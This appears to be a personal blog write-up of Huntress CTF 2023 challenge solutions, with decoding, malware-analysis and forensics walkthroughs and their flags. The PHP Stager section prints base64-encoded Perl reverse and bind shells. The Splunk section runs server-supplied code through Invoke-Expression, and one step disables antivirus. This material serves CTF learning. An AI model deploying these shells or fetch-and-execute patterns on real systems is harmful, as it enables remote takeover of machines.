Huntress CTF 2023
Table of Contents
My favorite: Tragedy Redux!
Scoreboard #
Team Name: D2CTF | Username: SlowMo7ion
WARMUPS #
BaseFFFF+1 #
Solution Walkthrough
Examine the file contents:
鹎驣𔔠𓁯噫谠啥鹭鵧啴陨驶𒄠陬驹啤鹷鵴𓈠𒁯ꔠ𐙡啹院驳啳驨驲挮售𖠰筆筆鸠啳樶栵愵欠樵樳昫鸠啳樶栵嘶谠ꍥ啬𐙡𔕹𖥡唬驨驲鸠啳𒁹𓁵鬠陬潧㸍㸍ꍦ鱡汻欱靡驣洸鬰渰汢饣汣根騸饤杦样椶𠌸
With the unrecognizable text, let’s think back on the challenge title and hint. The hexadecimal value: FFFF corresponds to 65535 in decimal. Adding one to that equals 65536. Is there such thing as base65536?
Turns out, there is. Base65536 Decode Online Tool
base65536 encodes data in a similar fashion to base64, but its alphabet, instead of being 64 characters long, is 65536 characters long. This means, one can map 16 bits of data into a single unicode codepoint.
Decoding is much more interesting*. I deviate a little from base64 in the part where I handle non-Base65536-codepoints. as Base65536 does not assign meaning to any single-byte codepoint, those can be placed anywhere inside the encoded string, either for formatting (whitespace, which can also be added automatically by the encoding function) or inserting cleartext messages. Even when having the abort-on-decoding-error enabled, base65536 will not stop when encountering an ASCII (7bit) character. This is meant as a feature.
Let’s use this tool to decode the message and retrieve the flag
Answer: flag{716abce880f09b7cdc7938eddf273648}
CaeserMirror #
Caesar caesar, on the wall, who is the fairest of them all? Perhaps a clever ROT13?
NOTE: this flag does not follow the usual MD5 hash standard flag format. It is still wrapped with the code>flag{} prefix and suffix.
Solution Walkthrough
Download and open the file
Using the hint, let’s throw it into CyberChef.
- Take the First half of the text and use the ROT13 operation
- Then take the second half and use the ROT13 and Reverse operations
With the message decoded and in the correct order, assemble both halves and grab each piece of the flag from the body of text.
Oh boy! Wow, this warmup challenge sure was a lot of fun to put together! I so definitely absolutely always love trying to think up new and innovative things to do with the very basic, common and classic CTF techniques! The first part of your flag is
flag{julius_
and that is a great start but it is not everything that you will need to solve this challenge. I don’t like trying to hide and separate each part of the flag. The second part of the flag isin_a_
but you do need just a little bit more. What exactly should we include here to try and makethis filler text look more engaging and worthwhile? Should we add newlines? Should we add spaces and try and make it symmetrical? How many lines is enough to make this filler text look believable? A solid square of letters within a simple, monospace-font text file looks good enough to me. Are we almost at the end? It looks like it! I hope it is good. The third part of your flag isreflection}
and at this point you should have everything that you need to submit this flag for points. The beginning is marked with the flag prefix and the opening curly brace and it includes English words separated by underscores, to end in a closing curly brace. Wow! Now THAT is a CTF! Who knew we could milk the caesar cipher to this extent?? Someone get that Julius Caesar guy a medal!
Answer: flag{julius_in_a_reflection}
F12 #
Solution Walkthrough
Navigate to the web page and click on the Capture The Flag button. A pop-up window opens, but immediately closes. Let’s inspect the source to see if we can learn more about what happens when we click the button.
- A javascript function
ctf()
appears to open another window to a page calledcapture_the_flag.html
when the Capture The Flag button is pushed.
- A javascript function
The
capture_the_flag.html
page is in the same directory as the page, so let’s append it to our URL.Now we see a button that says
Your flag is:
, but when we click on it nothing happens. Let’s inspect the source again to see what it’s supposed to do and reveal the flag.Video Walkthrough:
Answer: flag{03e8ba07d1584c17e69ac95c341a2569}
Dialtone #
Solution Walkthrough
Using a Dual Tone Multi Frequency (DTMF) tool, we can detect the corresponding numbers for each dialtone. This can be done with
dtmf
ordtmf2num
on the command line, or through a web-based tool such as DialABCdtmf dialtone.wav
Viewing the file in Sonic Visualiser confirms that the individual dialtones are consecutive without inconsistent pauses, or other timing anomalies that might indicate T9, or another cipher.
Since we have a large integer from the dialtone pattern, we can try converting it to Hexadecimal using Python.
Note: Use the builtin
format()
function in Python. Thecodecs.encode()
method,CyberChef
, and other online conversion tools do not pass the value as an integer and return incorrect Hex data.#!/usr/bin/env python dialtone = 13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573 dhex = format(dialtone, 'x') #int to hex print(dhex)
- Our output looks like valid Hex data, maybe we can go to ASCII. Put it all together in a single script.
Let’s add another line to our Python program to convert the Hex value to ASCII and return the flag. To solve this challenge, we went from:
dialtone -> integer -> Hex -> ASCII
#!/usr/bin/env python import codecs dialtone = 13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573 dhex = format(dialtone, 'x') #int to hex flag = codecs.decode(dhex, 'hex') #hex to ascii print(flag.decode()) #print flag as a string
Answer: flag{6c733ef09bc4f2a4313ff63087e25d67}
Comprezz #
Solution Walkthrough
Determine file type using
file
file comprezz
Since this is compress’d, let’s use the
uncompress
command. To do that, we have to add the.z
extension first.mv comprezz comprezz.z #rename file with .z extension uncompress -f comprezz.z #uncompress th data
Run the
file
command again oncomprezz
file comprezz
cat
comprezz to reveal the flagcat comprezz
Answer: flag{196a71490b7b55c42bf443274f9ff42b}
Baking #
Solution Walkthrough
Based on the challenge description, we can safely assume that we’ll need to perform cookie manipulation. Interact with the site using a browser with developer options open and see what cookies are stored. They will be under the Application tab in the Storage section.
- We can see that the Magic Cookies need to bake for 7200 minutes, Maybe we can speed this up
- There is a cookie stored with a base64 encoded value
Let’s decode in the value in CyberChef to see what data is being passed to the site. There is a timestamp we might be able to manipulate to trick the server into thinking that the 7200-minute bake time has already passed
Using CyberChef, let’s back-date the cookie value by 1 year, re-encode to base64, then get ready to send it to the server with BurpSuite.
Using BurpSuite, we can modify the cookie using proxy interception before sending it to the server. Paste our updated base64 cookie value, then forward the request to the server to reveal the flag
Video Walkthrough:
Answer: flag{c36fb6ebdbc2c44e6198bf4154d94ed4}
MALWARE #
Zerion #
Solution Walkthrough
Verify the file type with
file
Since this looks like it is a php script, let’s open the file in a text editor to view the syntax (truncated output)
It looks like script is chaining multiple encodings and patterns together, let’s break down each step:
- The syntax appears to be reversed (note the
strrev
function and base64 padding “==” at the beginning of the encoded string) - The characters are rotated with ROT13 (
str_rot13
) - The syntax has been base64 encoded
- The syntax appears to be reversed (note the
Reverse the order of encoding using CyberChef to reveal the full syntax and flag.
Answer: flag{af10370d485952897d5183aa09e19883}
HumanTwo #
Solution Walkthrough
Unzip the file contents
unzip human2.aspx_iocs.zip -d human2.aspx_iocs
These filenames look like hashes, let’s inspect the contents of a few to see if there are any obvious differences
- Cycling through a few files in a text editor reveals a slight change on
line 36
for each file
- Cycling through a few files in a text editor reveals a slight change on
Now that we have found a change from file to file, we can drill into that further. Let’s use
grep
against a common string on line 36 to see if anything else stands outgrep -r "String.Equals" . #run from dir containing files
- Nice! We found something different on the
cc53495bb42e4f6563b68cdbdd5e4c2a9119b498b488f53c0f281d751a368f19
file. Let’s try to decode the values on this line
- Nice! We found something different on the
The strings seem to represent hexadecimal values (containing a-f 0-9 only). Let’s use CyberChef with the
From Hex
recipe to decode the text and reveal the flag
Answer: flag{6ce6f6a15dddb0ebb332bfaf2b0b85d1}
Hot Off The Press #
Solution Walkthrough
Download the
hot_off_the_press
file and inspect what file type it is.file hot_off_the_press
- This is a UHarc archive file, so we can use some Windows tools to examine it further We’ll move over to Windows for the rest of the challenge
In Wndows:
- Disable Virus & Threat Protection Settings to avoid issues while extracting the malware sample
- Download the
hot_off_the_press
file again and add the.uha
file extension - Download the uharc06b cmd utility and extract the contents of the archive.
.\uharc06b\UHARC.EXE e -pw .\hot_off_the_press.uha
Open the
hot_off_the_press.ps1
file in a text editor to dissect the encoded text. We’ll focus on decoding thebase64
, then handle thegzip
compression.Use CyberChef to create the following Recipe to handle the initial encoded string:
- Remove all non base64 characters
- Replace the format string characters: {0} and {1} respectively
- Convert From Base64
- Gunzip
Use CyberChef again to create another Recipe and reveal the flag
Convert From Base64
From Hex
Answer: flag{dbfe5f755a898ce5f2088b0892850bf7}
Resources:
- Cooking Malicious PowerShell Obfuscated Commands with CyberChef
- Base64 Patterns - Learning Aid
- CyberChef-Recipes
PHP Stager #
Solution Walkthrough
Open the
phoentic
file in a text editor to examine the code.The
deGRi
function has several components which appear to be a layer of obfuscation. We may be able to use it to decode the payload later.The variable assignments have been randomized using a for-each loop against randomized characters to mask their real contents, let’s use an interactive php session to decipher them.
php -a
Run each section of the code separately to reveal variables:
- Variable Contents:
$gbaylYLd6204
= the long base64 encoded payload$fsPwhnfn8423
= thebase64_decode
function$oZjuNUpA325
= thestrrev
function$k
= thecreate_function
function- note:
create_function
is no longer used in php and won’t be included in this solution
- note:
- Variable Contents:
Now that we know the variables, copy and paste the entire
deGRi
function and$gbaylYLd6204
variable contents into the interactive session.Use the discovered functions to piece together a command that will leverage the
deGRi
function reveal the base64 encoded the payload stored in$gbaylYLd6204
.echo base64_decode(deGRi(base64_decode($gbaylYLd6204), "tVEwfwrN302"));
- Within the payload, there is an interesting function:
actionNetwork()
with more base64 encoded variables.
- Within the payload, there is an interesting function:
Using
python
or an online tool like CyberChef, decode the internal variables.import codecs #assign base64 encoded values as bytes using variables back_connect = b"IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRpYWRkcj1pbmV0X2F0b24oJEFSR1ZbMF0pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKbXkgJHN0ciA9IDw8RU5EOwpiZWdpbiA2NDQgdXVlbmNvZGUudXUKRjlGUUE5V0xZOEM1Qy0jLFEsVjBRLENEVS4jLFUtJilFLUMoWC0mOUM5IzhTOSYwUi1HVGAKYAplbmQKRU5ECnN5c3RlbSgnL2Jpbi9zaCAtaSAtYyAiZWNobyAke3N0cmluZ307IGJhc2giJyk7CmNsb3NlKFNURElOKTsKY2xvc2UoU1RET1VUKTsKY2xvc2UoU1RERVJSKQ==" bind_port = b"IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=" #decode the base64 bc_out = codecs.decode(back_connect, 'base64') bp_out = codecs.decode(bind_port, 'base64') #print both outputs as a string print(bc_out.decode(),bp_out.decode())
The syntax after the uuencode.uu line looks strange. Decode it using an online UUEncode Decoder to reveal the flag.
Answer: flag{9b5c4313d12958354be6284fcd63dd26}
Snake Eater #
Hey Analyst, I’ve never seen an executable icon that looks like this. I don’t like things I’m not familiar with. Can you check it out and see what it’s doing?
Archive password: infected
NOTE, this challenge is based off of a real malware sample. Windows Defender will probably identify it as malicious. It is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.
Static Analysis Walkthrough – Unsuccessful
Initial triage with binwalk
, strings
, and Ghidra
didn’t provide any immediate clues to follow.
The
snake_eater.exe
icon is still the default image for PyInstaller, a tool used to bundle a Python application as a Portable Executable (.exe) file. Let’s try to reverse the process and obtain the original Python script.Using
pyinstractor
, extract the contents of snake_eater.exe.python pyinstractor.py
If we try opening the extracted
snake_eater.pyc
file, the contents are still in byte-code and unreadable.Using
pycdc
, we can disassemble the byte-code.- Move
pycdc.exe
andsnake_eater.pyc
into the same directory and runpycdc.exe
passing the output to a txt file.\pycdc.exe .\snake_eater.pyc > snake_eater.txt
- Move
The byte-code has been disassembled, but the contents have been obfuscated wth
Pyarmor
I was ultimately unsuccessful in finding a way to de-obfuscate the script further. I decided to move on to Dynamic Analysis.
Dynamic Analysis Walkthrough
Download and install the Sysinternals Suite
Steps to analyze using Procmon:
- Launch
Procmon64.exe
- Launch
snake_eater.exe
- After a few seconds, press
CTRL + E
to pause monitoring- (this will speed up our filtering and query results)
- Open the Process Tree
- Select the
snake_eater.exe
process on the left-hand side - Click on
Go To Event
- Click on
Close
- Select the
- Open the Filter window and apply common malware analaysis filters to minimize the output.
Pro Tip: Filter on the process name for
snake_eater.exe
to narrow things down even more!
- Launch
Back in the main process log window, we can start scrolling down to get an idea of everything happening while snake_eater.exe was running. Eventually we’ll come across some file operations that contain the flag.
- We could speed this up even more by doing a CTRL+F for
flag{
- We could speed this up even more by doing a CTRL+F for
Answer: flag{d1343a2fc5d8427801dd1fd417f12628}
Opendir #
Solution Walkthrough
Visiting the page in a browser, we can see the directory structure and files within.
After manually exploring a few files on the site, there are enough files and data that we will want to employ an automated method of finding the flag.
Using wget, download all of the files into a directory
wget -r --user opendir --password opendir http://chal.ctf.games:30001/
Now, use a recursive grep to find the flag
grep -r "flag{" .
Answer: flag{9eb4ebf423b4e5b2a88aa92b0578cbd9}
FORENSICS #
Traffic #
Solution Walkthrough
Download and unzip the log files into a directory
wget https://huntress.ctf.games/files/efd8115eedbda53848676208e38e6afc/traffic.7z 7z x traffic.7z mv 2021-09-08 traffic
List out the contents we just unzipped. Following the hints, let’s start with the DNS logs to search for a “sketchy site”
Using zcat to parse the gzipped files, let’s look at fields first to better understand column positions within the log, then the first 10 entries in the DNS logs to see how they are structured. We can see from here that dns queries are listed in the 10th field.
zcat dns.*.log.gz | grep "^#fields" | head -1 #view the fields zcat dns.*.log.gz | cut -f 3,5 -d ' ' | sort -u | head -10 #first 10 log entries
Let’s focus on the 10th position to isolate DNS hostnames and see if anything stands out.
zcat dns.*.log.gz | cut -f 3,5 -d ' ' | awk '{print $10}' | sort | uniq -c | sort -nr
At first glance, nothing obvious jumps out. Let’s grep for “sketch” based on our hint above.
zcat dns.*.log.gz | cut -f 3,5 -d ' ' | sort -u | awk '{print $10}' | grep sketch
- Nice! We found 6 instances to
sketchysite.github.io
let’s check it out
- Nice! We found 6 instances to
Visit
sketchysite.github.io
for the flag
Answer: flag{8626fe7dcd8d412a80d0b3f0e36afd4a}
Wimble #
Solution Walkthrough
After downloading, list and extract the contents of
wimble.7z
to see what we’ll be working with7z l wimble.7z #list contents 7z x wimble.7z #extract contents to current directory
Determine the file type of the newly extracted file named
fetch
file fetch
- We can see that
fetch
is still compressed. List the contents
7z l fetch
- The contents comtain prefetch files indicated by the
.pf
extension. Let’s jump over to Windows to analyze them further.
- We can see that
In Windows, download and install Eric Zimmerman’s Forensic Tools and the .net6 framework (if needed) to examine the prefetch data
Set up a Directory to install the EZ tools into, then run the
Get-ZimmermanTools.ps1
script
Set up a working directory in Windows and get the prefetch files ready for analysis. We’ll use a directory named
fetch
for this example:- Download
wimble.7z
again - Extract the
fetch
archive again and add the.wim
extension to the file, it now should look like:fetch.wim
- Lastly, extract all of the contents from
fetch.wim
to thefetch
directory
- Download
Run PECmd.exe against the working directory and use
findstr -i
to search for a flag string and reveal the flag.
Answer: FLAG{97F33C9783C21DF85D79D613B0B258BD}
Dumpster Fire #
Solution Walkthrough
Extract the contents of the
dumpster_fire.tar.xz
file and set up a working directory.mkdir Dumpster-Fire #create working dir cd Dumpster-Fire #move into working dir xz -d -v dumpster_fire.tar.xz #unzip tar -xvf dumpster_fire.tar #extract rm dumpster_fire.tar #clean up compressed file ls -lisa #list extracted contents
- It looks like we’re working with a root directory of a Linux system.
Based on the hints in the description, navigate through the /home directory for clues.
cd home cd challenge cd .mozilla cd firefox cd bc1m1zlr.default-release
Now that we are are exploring the Firefox data within the user’s profile, let’s check out
logins.json
where credentials can be stored within the browser.cat logins.json
- We have an encrypted username and password to work with
Use firefox_decrypt, to break the username and password to get the flag
Answer: flag{35446041dc161cf5c9c325a3d28af3e3}
Backdoored Splunk #
You’ve probably seen Splunk being used for good, but have you seen it used for evil?
NOTE: the focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to be retrieve the flag. The connection error to the container is part of the challenge.
Solution Walkthrough
Check out the site, we get a clue in the error message that we need a proper header to proceed.
Exctract the file contents, then browse through the
Splunk_TA_windows
directory. After some digging, we’ll come across a web request in thent6-health.ps1
script. There is some base64 encoded text in the Authorization Header within the file, we can try decoding it in CyberChef for another clue.We now know this is the payload we need to use. Modify the code in
nt6-health.ps1
to craft a PowerShell script that isolates the http response from the web server containing the flag.$PORT = '30199' #Dynamic to the running service of the `Start` button $OS = @($html = (Invoke-WebRequest http://chal.ctf.games:$PORT -Headers @{Authorization=("Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==")} -UseBasicParsing).Content if ($html -match '<!--(.*?)-->') { $value = $matches[1] $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($value)) Invoke-Expression $command }) Write-Host ($OS)
- This flag was not returned with the curly braces. Add them before submission.
Answer: flag{60bb3bfaf703e0fa36730ab70e115bd7}
VeeBeeEee #
While investigating a host, we found this strange file attached to a scheduled task. It was invoked with wscript or something… can you find a flag?
NOTE: this challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abudance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.
Solution Walkthrough
Do initial recognition using the
file
command to determine file type (if there is one). This one is just raw datafile veebeeeee
Open in a text editor to view the data.
The data is not human-readable, so let’s try CyberChef and start with the Magic operation
CyberChef found a Recipe to decode the text. Use
Microsoft_Script_Decoder()
to make the ouput more readable.We need to clean this up further by removing all of the instances of:
''''''''''''''''al37ysoeopm'al37ysoeopm
Now we can begin identifying how the PowerShell commands are obfuscated within the script:
The strings contianing the code have been separated into multiple variables, then concatenated together
Ampersands
&
are removed later in the script to finish cleaning up the syntax, so let’s clean up the rest of it and assemble everything
We have finished cleaning up the syntax. With the code cleaned up, we can see that a request is being made to pull a file from a Pastebin link; a common staging place for malware.
Since this is a CTF and not real malware, let’s visit the link to reveal the flag: https://pastebin.com/raw/SiYGwwcz
Answer: flag{ed81d24958127a2adccfb343012cebff}
Tragedy Redux #
We found this file as part of an attack chain that seemed to manipulate file contents to stage a payload. Can you make any sense of it?
Archive password: infected
Solution Walkthrough
Download and extract the attachment to reveal a file without an extension. Run
file
to discover that this is supposed to be a .zip archiveRename the file to add the .zip extension and try to extract the contents. Notice that we are getting a bad offset error when using the command line.
If we try to extract in the GUI, we get another error, but can also see that the
[Content_Types].xml
file did not extract properly.Taking a look at the file header based on the error we just saw, we can see that it doesn’t have the correct magic bytes for a .zip file.
hexdump -C tragedy_redux.zip | head -10 #view header
Let’s go ahead and update that to the proper
PK..
header. Reference: File Magic Numbershexedit tragedy_redux.zip #make header updates
A quick Google search on the file names in the zipped folder lets us know that this is in Open XML File Format. We’ll need to move our zip file over to Windows where we can run it in Microsoft Word for further analysis. We can transfer the file in the lab environment with a Python Simple HTTP Server:
python -m http.server 9000
With the tragedy_redux.zip file moved to our Windows analyst workstation and open in Microsoft Word, we can go to
View > Macros > Step Into
to start debugging the embedded macro in this file.After attempting to run the Macro a few times, nothing appears to be happening. We need to adjust the operator from <> (not equal) to = (equal) within the “If” statement in the Tragedy() function so that it will ignore the file name and execute.
After exploring how each function is intertwined in the source and seeing that the output isn’t printed to the console, we can set a breakpoint at the end of the
Nuts()
function to investigate further. Enable the Locals page by clicking onView > Locals
Window to see what values are being stored in memory as the macro executes.Execute the macro again with the breakpoint to reveal a base64 encoded stored in the Nuts & Oatmilk variables.
Video showing how the flag is revealed in the VBA debugger:
Decode the base64 encoded string we just found for the flag.
$base64String = "JGZsYWc9ImZsYWd7NjNkY2M4MmMzMDE5Nzc2OGY0ZDQ1OGRhMTJmNjE4YmN9Ig==" [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64String))
Answer: flag{63dcc82c30197768f4d458da12f618bc}
Rogue Inbox #
Solution Walkthrough
Open the CSV file in excel to get a complete view of the file. While doing this, you’ll noticed the pattern for the flag in some mailbox rules created by the
DebraB
user. You can type it in manually and submit.
Answer: flag{24c4230fa7d50eef392b2c850f74b0f6}
OSINT #
Where am I? #
Solution Walkthrough
Verify the file type using the
file
commandfile PXL_20230922_231845140_2.jpg
- The description seems off, it looks like encoded text, let’s explore this further.
Decode the description to reveal the flag
Answer: flag{b11a3f0ef4bc170ba9409c077355bba2)
TCM: Tokyo Drift #
Ugh! One of our users was trying to install a Texas Chainsaw Massacre video game, and installed malware instead. Our EDR detected a rogue process reading and writing events to the Application event log. Luckily, it killed the process and everything seems fine, but we don’t know what it was doing in the event log.
The EVTX file is attached. Are you able to find anything malicious?
Archive password: infected
Solution Walkthrough
After extracting the .evtx file, let’s use
EvtxECmd
to process the log file into a .csv, then open withTimelineExplorer
from Eric Zimmerman’s Forensic Tools.& 'C:\huntress-ctf\tools\EZ Tools\net6\EvtxeCmd\EvtxECmd.exe' -f '.\Application Logs.evtx' --csv .
Open the newly created .csv file in
TimelineExplorer
By analyzing the data, eventually we come across
Event ID 1337
. Exploring further, the payload has a large encoded string of hex characters.We can use the “From Hex” recipe in CyberChef to decode to ascii, which reveals some obfuscated PowerShell syntax.
We can use a text editor to help run and decode the message for us. In this first command, we need to remove the pipe “|” symbol and everything after to output the results to the console.
The next iteration of encoded text is a little easier to read. If we look closely at the bottom line, most of the string has been reversed. If we change the
noIsseRpXe-ekovni
function totsoH-etirW
, we can output our results to the console again.With this output, it is still encoded PowerShell syntax, but a little easier to read. We can use the
Write-Host
cmdlet again to output the results to the console.Success! Now we have human-readable syntax. We can cut out the try/catch block and clean up the command to reveal the flag… and a nice easter egg
$5GMLW = (Resolve-DnsName eventlog.zip -Type txt | ForEach-Object { $_.Strings }) if ($5GMLW -match '^[-A-Za-z0-9+/]*={0,3}$') { Write-Output([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($5GMLW))) }
Answer: flag{409537347c2fae01ef9826c2506ac660}
easter egg: https://youtu.be/561nnd9Ebss?t=16
MISC #
I Wont Let You Down #
OK Go take a look at this IP: Connect here: http://155.138.162.158
USING ANY OTHER TOOL OTHER THAN NMAP WILL DISQUALIFY YOU. DON’T USE BURPSUITE, DON’T USE DIRBUSTER.
Solution Walkthrough
Let’s check out the url in a browser. Yep, it’s a Rick-roll! But, we also got a hint to try
nmap
Port scan the ip using
nmap
. Since this is a single host we can scan all 65535 ports with-p-
. We will also tell nmap to assume it is online with the-Pn
switch, then start with a TCP scan with-sT
, and attempt to detect running services with-sV
.nmap -Pn -sT 155.138.162.158 -p- -sV
Our scan revealed some services running on non-standard and high port numbers. Since these aren’t commonly used, let’s do a banner grab with
netcat
, which reveals the flag.nc 155.138.162.158 8888
- It’s also a Rick-roll like the web page, but we still got the flag!
Answer: flag{93671c2c38ee872508770361ace37b02}
Operation Not Found #
In the boundless web of data, some corners echo louder than others, whispering tales of innovation, deep knowledge, and fierce competition. On the lush landscapes of https://osint.golf/, a corner awaits your discovery… where intellect converges with spirit, and where digital foundations stand alongside storied arenas.
This is the chall1
challenge for the “HuntressCTF2023” challenges It’s a lot like Geoguesser if you have ever played :)
- Navigate to OSINT Golf and select the chall1 challenge.
- You will see an interface similar to Google Street View, where you can look around and zoom in on your surroundings. Try and determine your location on the map of the earth!
- Move your mouse over the minimap in the bottom-right corner, and scroll to zoom or click and hold to pan around the map.
- Click and place your pin-marker on the map where you believe your exact location is. The accuracy radius is 200 meters.
- Click Submit. If you are incorrect, it will say “not here” on the top left. If you are correct, your flag will be displayed in the top-left corner.
- Copy and paste the flag value into the input box below and submit it to solve this challenge!
Crosland Tower - Georgia Tech University
- chall1 Answer:
flag{c46b7183c9810ec4ddb31b2fdc6a914c}
- chall1 Answer:
Rick Roll Bridge
- chall2 Answer:
flag{fdc8cd4cff2c19e0d1022e78481ddf36}
- chall2 Answer:
Rock, Paper, Psychic #
Wanna play a game of rock, paper, scissors against a computer that can read your mind? Sounds fun, right?
NOTE: this challenge binary is not malicious, but Windows Defender will likely flag it as malicious anyway. Please don’t open it anywhere that you don’t want a Defender alert triggering.
Solution Walkthrough
Extract the file and try to interact with the program.
There doesn’t seem to be a way to win by playing normally.
Basic fuzzing with AAAAAs doesn’t cause a crash.
It doesn’t initially appear that we can brute force our way to the flag either.
Since the program tells us their name is
Patch
, we can look at patching the binary provides any further progress toward the flag.
Open the program in Ghidra and do a search for strings. We have some clues to where a function for the flag might be. We can select that line and it will take us to the address in memory
With the “You won” string selected, we can look for the memory address to the owning function
To patch the program:
- Navigate to the function that contains the “You won” string by scrolling up to the XREF, it is called
playerWins_Main_10
. Double click to go to its address. - Within
playerWins_Main_10
, there is a CALL toechoBinSafe
, which is what will launch itself. But, notice the CALL below toprintFlag__Main_6
. Take note of its address0x004169e0
. - Return to the location of the
main
function by clicking the back arrow in Ghidra. - Locate the first CALL instruction, righ click on
echoBinSafe
and select “Patch Instruction” - Input the address value we captured above for
printFlag__Main_6
and press enter. - Select File > Export Program, change the format to “Original File” and save.
- Video Solution:
- Navigate to the function that contains the “You won” string by scrolling up to the XREF, it is called
Locate and launch the newly patched .exe to reveal the flag It bypasses the entire game and calls the
printFlag__Main_6
at runtime.
Answer: flag{35bed450ed9ac9fcb3f5f8d547873be9}
M Three Sixty Five #
Environment Login
In order to connect, I had to use the IP address of the management host (vs. the hostname).
Determine IP address
ping chal.ctf.games #to find the IP Address
SSH directly to the IP with provided credentials
U: user P: userpass
and the randomly generated port number when the instance launchedssh user@34.123.197.237 -p 31744
With this being an AAD Internals jump host, we can now use commands from this toolset to reveal each flag.
M365 - General Info
Welcome to our hackable M365 tenant! Can you find any juicy details, like perhaps the street address this organization is associated with?
Command to retrieve the flag:
Get-AADIntTenantDetails
Answer: flag{dd7bf230fde8d4836917806aff6a6b27}
M365 - Conditional Access
This tenant looks to have some odd Conditional Access Policies. Can you find a weird one?
Command to retrieve the flag:
Get-AADIntConditionalAccessPolicies
Answer: flag{d02fd5f79caa273ea535a526562fd5f7}
M365 - Teams
We observed saw some sensitive information being shared over a Microsoft Teams message! Can you track it down?
Command to retrieve the flag:
Get-AADIntTeamsMessages
Answer: flag{f17cf5c1e2e94ddb62b98af0fbbd46e1}
M365 - The President
One of the users in this environment seems to have unintentionally left some information in their account details. Can you track down The President?
Command to retrieve the flag:
Get-AADIntUsers #scroll for President title
Answer: flag{1e674f0dd1434f2bb3fe5d645b0f9cc3}
LOLZ Challenges #
lolz#2 #
籖ꍨ穉鵨杤𒅆象𓍆穉鵨詌ꍸ穌橊救硖穤歊晑硒敤睊ꉑ硊ꉤ晊ꉑ硆詤橆赑硤ꉑ穊赑硤詥楊ꉑ睖ꉥ橊赑睤ꉥ杊𐙑硬ꉒ橆𐙑硨穒祊ꉑ硖詤桊赑硤詥晊晑牙
—– disclaimers (unrelated to the challenge) —–
Discussion of this challenge is allowed in the thread #rejected-challenges.
There are no points associated with this challenge, this is just for the lolz and bragging rights. No hints or help will be given. Brute force is not the answer here. This challenge (and all lolz challenges) may leave you with walking away saying “well that was some BS.”
Solution Walkthrough
- The characters used in this challenge are similar to those in
BaseFFFF+1
. Let’s try decoding with the Base65536 Decode Online Tool
Output:
VGhlIEhhd2FpaWFuIEhhLUxlLEJ5Q0VCdEJ6Q1RCd0JBQkJCdkJ1QkFCdUF5QXdCQkJEQXdCeUJ4QkVBekJ5QXdBekJ2QnlCRkF5QnhCREJDQkVCdUJ3QXdCeUJ1Q1Y=
- This looks like valid base64, let’s decode with CyberChef
Output:
The Hawaiian Ha-Le,
ByCEBtBzCTBwBABBBvBuBABuAyAwBBBDAwByBxBEAzByAwAzBvByBFAyBxBDBCBEBuBwAwByBuCV
Getting closer. There are consistent shift distances and character counts on this output that help identify a starting point to the cipher. All of the flags so far have been
38
characters in length. This one is76
, indicating that there is a 2/1 ratio. Based on this hypothesis, we can assume that:By = f CE = l Bt = a Bz = g CT = { CV = }
We’re in luck with consecutive letters:
By = f and Bz = g
along with the fact thatCT
->CV
skipsCU
, because if we reference the ASCII table, that would be the pipe symbol|
.Now that we have the beginning and ending positions with a consistent pattern, we can use that knowledge to create a key.
